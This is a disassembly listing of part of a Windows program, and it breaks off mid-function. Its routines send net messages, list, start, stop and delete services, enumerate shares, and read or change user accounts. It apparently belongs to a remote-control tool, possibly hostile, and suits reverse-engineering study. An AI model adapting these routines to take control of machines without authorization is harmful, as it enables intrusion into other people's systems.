push offset unk_4394A4
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_418AEE: ; CODE XREF: sub_418A2E+86j
pop edi
leave
retn
sub_418A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26D04D8h
cmp [ebp+var_90], 4
jnz short loc_418B47
cmp [ebp+var_8C], 0
jnz short loc_418B30
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418B47
leave
retn
; ---------------------------------------------------------------------------
loc_418B30: ; CODE XREF: sub_418AF1+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418B42
cmp [ebp+var_8C], 5Ah
jnz short loc_418B47
loc_418B42: ; CODE XREF: sub_418AF1+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418B47: ; CODE XREF: sub_418AF1+27j
; sub_418AF1+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
nop
call near ptr 26B0000h
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
nop
call near ptr 26B032Eh
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41E0D4
lea eax, [ebp+var_F8]
push eax
call sub_41E0B7
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
call near ptr 27907BAh
nop
mov eax, edi
pop edi
pop esi
leave
retn
sub_418AF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call near ptr 269083Ah
nop
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4276E0
call sub_41D174
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418BD1 endp
; =============== S U B R O U T I N E =======================================
sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418C66
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439520[esi]
push edi
push eax
call sub_418C88
add esp, 14h
test eax, eax
jnz short loc_418C56
push edi
push off_43951C[esi]
push offset unk_439630
loc_418C46: ; CODE XREF: sub_418C0E+56j
mov esi, offset dword_4DBA40
push esi
call sub_41C266
add esp, 10h
jmp short loc_418C83
; ---------------------------------------------------------------------------
loc_418C56: ; CODE XREF: sub_418C0E+2Aj
push eax
call sub_418D2A
pop ecx
push eax
push edi
push offset unk_439604
jmp short loc_418C46
; ---------------------------------------------------------------------------
loc_418C66: ; CODE XREF: sub_418C0E+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DBA40
push off_439518[eax*4]
push offset unk_4395E0
push esi
call sub_41C266
add esp, 0Ch
loc_418C83: ; CODE XREF: sub_418C0E+46j
mov eax, esi
pop edi
pop esi
retn
sub_418C0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C88 proc near ; CODE XREF: sub_418C0E+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB9C8
mov edi, eax
cmp edi, ebx
jnz short loc_418CAF
nop
call near ptr 2680972h
mov ebx, eax
jmp short loc_418D24
; ---------------------------------------------------------------------------
loc_418CAF: ; CODE XREF: sub_418C88+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB8B0
mov esi, eax
cmp esi, ebx
jnz short loc_418CCF
nop
call near ptr 2680972h
mov ebx, eax
jmp short loc_418D1C
; ---------------------------------------------------------------------------
loc_418CCF: ; CODE XREF: sub_418C88+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418D02
cmp eax, 3
jz short loc_418CF3
jle short loc_418D15
cmp eax, 6
jg short loc_418D15
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB91C
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418CF3: ; CODE XREF: sub_418C88+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB8B8
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418D02: ; CODE XREF: sub_418C88+4Dj
push esi
call dword_4CB920
loc_418D09: ; CODE XREF: sub_418C88+69j
; sub_418C88+78j
test eax, eax
jnz short loc_418D15
call near ptr 2680972h
nop
mov ebx, eax
loc_418D15: ; CODE XREF: sub_418C88+54j
; sub_418C88+59j ...
push esi
call dword_4CB8CC
loc_418D1C: ; CODE XREF: sub_418C88+45j
push edi
call dword_4CB8CC
pop esi
loc_418D24: ; CODE XREF: sub_418C88+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418C88 endp
; =============== S U B R O U T I N E =======================================
sub_418D2A proc near ; CODE XREF: sub_418C0E+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418DDF
jz loc_418DD8
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418DA2
jz short loc_418D98
mov ecx, eax
sub ecx, 3
jz short loc_418D8E
dec ecx
dec ecx
jz short loc_418D84
dec ecx
jz short loc_418D7A
sub ecx, 51h
jz short loc_418D70
sub ecx, 24h
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D70: ; CODE XREF: sub_418D2A+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D7A: ; CODE XREF: sub_418D2A+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D84: ; CODE XREF: sub_418D2A+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D8E: ; CODE XREF: sub_418D2A+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D98: ; CODE XREF: sub_418D2A+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DA2: ; CODE XREF: sub_418D2A+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418DD1
dec ecx
jz short loc_418DCA
dec ecx
jz short loc_418DC3
dec ecx
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DC3: ; CODE XREF: sub_418D2A+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DCA: ; CODE XREF: sub_418D2A+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD1: ; CODE XREF: sub_418D2A+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD8: ; CODE XREF: sub_418D2A+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DDF: ; CODE XREF: sub_418D2A+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
jz short loc_418E42
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418E96[ecx]
jmp off_418E6E[ecx*4] ; switch jump
loc_418E03: ; DATA XREF: ___:off_418E6Eo
push offset aTheSpecifiedDa ; jumptable 00418DFC case 7
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E0A: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceDepe ; jumptable 00418DFC case 17
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E11: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceDe_0 ; jumptable 00418DFC case 10
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E18: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHasB ; jumptable 00418DFC case 0
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E1F: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheSpecified_0 ; jumptable 00418DFC case 2
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E26: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceCoul ; jumptable 00418DFC case 11
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHa_0 ; jumptable 00418DFC case 14
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E34: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheRequested_1 ; jumptable 00418DFC case 3
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E3B: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHasN ; jumptable 00418DFC case 4
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E42: ; CODE XREF: sub_418D2A+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418E47: ; CODE XREF: sub_418D2A+41j
; sub_418D2A+4Bj ...
push offset dword_4DB380
call sub_41C266
pop ecx
pop ecx
jmp short loc_418E68
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418D2A+36j
; sub_418D2A+89j ...
push eax ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DB380
call sub_41C266
add esp, 0Ch
loc_418E68: ; CODE XREF: sub_418D2A+129j
mov eax, offset dword_4DB380
retn
sub_418D2A endp
; ---------------------------------------------------------------------------
off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r
dd offset loc_418E1F ; jump table for switch statement
dd offset loc_418E34
dd offset loc_418E3B
dd offset loc_418E03
dd offset loc_418E11
dd offset loc_418E26
dd offset loc_418E2D
dd offset loc_418E0A
dd offset loc_418E55
byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB9C8
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_418EE0: ; CODE XREF: sub_418EA8+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB994
test eax, eax
jnz short loc_418F1A
nop
call near ptr 2680972h
cmp eax, 0EAh
jnz loc_418FCE
loc_418F1A: ; CODE XREF: sub_418EA8+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418FC5
lea esi, [ebp+var_188]
loc_418F2B: ; CODE XREF: sub_418EA8+117j
mov eax, [esi+8]
dec eax
jz short loc_418F74
dec eax
jz short loc_418F6D
dec eax
jz short loc_418F66
dec eax
jz short loc_418F5F
dec eax
jz short loc_418F58
dec eax
jz short loc_418F51
dec eax
jz short loc_418F4A
push offset aUnknown_0 ; " Unknown"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F4A: ; CODE XREF: sub_418EA8+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F51: ; CODE XREF: sub_418EA8+96j
push offset aPausing ; " Pausing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F58: ; CODE XREF: sub_418EA8+93j
push offset aContinuing ; " Continuing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F5F: ; CODE XREF: sub_418EA8+90j
push offset aRunning ; " Running"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418EA8+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F6D: ; CODE XREF: sub_418EA8+8Aj
push offset aStarting ; " Starting"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F74: ; CODE XREF: sub_418EA8+87j
push offset aStopped ; " Stopped"
loc_418F79: ; CODE XREF: sub_418EA8+A0j
; sub_418EA8+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418F2B
loc_418FC5: ; CODE XREF: sub_418EA8+77j
cmp [ebp+var_8], ebx
jnz loc_418EE0
loc_418FCE: ; CODE XREF: sub_418EA8+6Cj
push [ebp+var_C]
call dword_4CB8CC
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41907F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41900E
dec eax
jnz short loc_41905F
push edi
push 0
call sub_4191B8
pop ecx
pop ecx
jmp short loc_41905B
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418FE5+18j
cmp [ebp+arg_8], 0
jnz short loc_41904D
push 24h
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_41904D
push 57h
pop eax
loc_419025: ; CODE XREF: sub_418FE5+78j
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_439518[eax*4]
push offset unk_439BC4
push esi
call sub_41C266
add esp, 14h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41904D: ; CODE XREF: sub_418FE5+2Dj
; sub_418FE5+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41910C
add esp, 0Ch
loc_41905B: ; CODE XREF: sub_418FE5+27j
test eax, eax
jnz short loc_419025
loc_41905F: ; CODE XREF: sub_418FE5+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_43951C[eax*4]
push offset dword_439BA8
push esi
call sub_41C266
add esp, 10h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41907F: ; CODE XREF: sub_418FE5+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB63C
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439B84
push esi
call sub_41C266
add esp, 0Ch
loc_41909F: ; CODE XREF: sub_418FE5+66j
; sub_418FE5+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418FE5 endp
; =============== S U B R O U T I N E =======================================
sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4190B2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4190B2: ; CODE XREF: sub_4190A5+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_427188
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DB83C, 1
mov ebp, eax
jnz short loc_4190EF
or byte_4DB83C, 1
lea eax, [ebp+1]
push eax
call sub_41D9A5
pop ecx
mov dword_4DB5DC, eax
loc_4190EF: ; CODE XREF: sub_4190A5+32j
push esi
push esi
push ebp
push dword_4DB5DC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DB5DC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4190A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep
; sub_41A6EA+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C990
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419177
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB8C8
pop edi
leave
retn
sub_41910C endp
; =============== S U B R O U T I N E =======================================
sub_419177 proc near ; CODE XREF: sub_41910C+Ap
; sub_41910C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419184
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419184: ; CODE XREF: sub_419177+9j
push ebx
push esi
mov esi, dword_4270E8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D9A5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419177 endp
; =============== S U B R O U T I N E =======================================
sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p
; sub_41A3C6+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB8A0
pop esi
retn
sub_4191B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419177
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_419214: ; CODE XREF: sub_4191DB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB918
mov ebx, eax
cmp ebx, esi
jz short loc_419277
cmp ebx, 0EAh
jz short loc_419277
push ebx
push ebx
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439C10
push eax
call sub_41C266
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_4192E4
; ---------------------------------------------------------------------------
loc_419277: ; CODE XREF: sub_4191DB+5Dj
; sub_4191DB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4192DB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419285: ; CODE XREF: sub_4191DB+FCj
push dword ptr [esi+10h]
call dword_4CB8BC
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41929C
mov eax, offset aNo ; "No"
loc_41929C: ; CODE XREF: sub_4191DB+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419285
xor esi, esi
loc_4192DB: ; CODE XREF: sub_4191DB+A2j
push [ebp+var_4]
call dword_4CBA64
loc_4192E4: ; CODE XREF: sub_4191DB+9Aj
cmp ebx, 0EAh
jz loc_419214
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4191DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4193A1
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41933E
dec eax
jz short loc_419333
dec eax
jnz short loc_419359
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_419443
add esp, 14h
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419333: ; CODE XREF: sub_4192FC+1Dj
push ebx
push edi
call sub_419422
pop ecx
pop ecx
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_41933E: ; CODE XREF: sub_4192FC+1Aj
cmp [ebp+arg_8], edi
jz short loc_419352
push [ebp+arg_8]
push ebx
push edi
call sub_4193C8
add esp, 0Ch
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419352: ; CODE XREF: sub_4192FC+45j
push 57h
pop eax
loc_419355: ; CODE XREF: sub_4192FC+35j
; sub_4192FC+40j ...
cmp eax, edi
jnz short loc_419379
loc_419359: ; CODE XREF: sub_4192FC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_43951C[eax*4]
push offset unk_439CC8
push esi
call sub_41C266
add esp, 10h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_419379: ; CODE XREF: sub_4192FC+5Bj
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_439518[eax*4]
push offset unk_439C98
push esi
call sub_41C266
add esp, 14h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_4193A1: ; CODE XREF: sub_4192FC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB840
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439C70
push esi
call sub_41C266
add esp, 0Ch
loc_4193C1: ; CODE XREF: sub_4192FC+7Bj
; sub_4192FC+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4192FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419177
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB8AC
pop edi
leave
retn
sub_4193C8 endp
; =============== S U B R O U T I N E =======================================
sub_419422 proc near ; CODE XREF: sub_4192FC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push eax
push esi
call dword_4CB89C
pop esi
retn
sub_419422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CBA2C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4197EB
mov eax, [ebp+var_4]
test eax, eax
jz loc_419826
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41C266
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419562
dec eax
jz short loc_41955B
dec eax
jz short loc_419554
mov eax, offset aUnknown ; "Unknown"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419554: ; CODE XREF: sub_419443+108j
